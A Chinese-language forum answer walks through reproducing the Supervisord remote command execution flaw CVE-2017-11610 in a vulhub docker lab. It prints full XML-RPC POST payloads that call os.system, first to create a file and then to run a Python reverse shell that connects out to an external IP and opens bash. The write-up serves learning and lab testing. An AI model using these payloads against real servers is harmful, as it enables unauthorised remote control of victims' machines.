Supervisord是一款Python开发,用于管理后台应用(服务)的工具,其角色类似于Linux自带的Systemd。CVE-2017-11610的本质是一个不安全的对象引用+方法调用,十分类似Java中的反序列化漏洞。[1]Supervisord的控制实际上就是一个C/S以RPC协议的通信的过程,而RPC协议(远程过程调用协议),顾名思义就是C端通过RPC协议可以在S端执行某个函数,并得到返回结果。那么,如果C端执行了S端预料之外的函数(如os.system),那么就会导致漏洞的产生。
ailx10
网络安全优秀回答者
网络安全硕士
去咨询
前提:准备好docker环境,下载好vulhub,进入目录 ,开始复现漏洞
docker-compose build //可选docker-compose up -d完成试验后,记得删除漏洞环境哦~~
docker-compose downdocker system prune -a -f //可选简单访问一下,说明Supervisord 远程命令执行漏洞(CVE-2017-11610)环境搭建成功了
先来试一试创建文件
POST /RPC2 HTTP/1.1Host: 144.34.162.13:9001Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 213<?xml version="1.0"?><methodCall><methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName><params><param><string>touch /tmp/success</string></param></params></methodCall>发现成功创建文件
docker exec -it ec46af421051 /bin/bash直接利用python代码反弹shell
POST /RPC2 HTTP/1.1Host: 144.34.162.13:9001Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 213<?xml version="1.0"?><methodCall><methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName><params><param><string>python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('174.137.58.6',8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"</string></param></params></methodCall>见证奇迹的时刻到了,反弹shell成功
参考^Supervisord 远程命令执行漏洞(CVE-2017-11610) https://www.leavesongs.com/PENETRATION/supervisord-RCE-CVE-2017-11610.html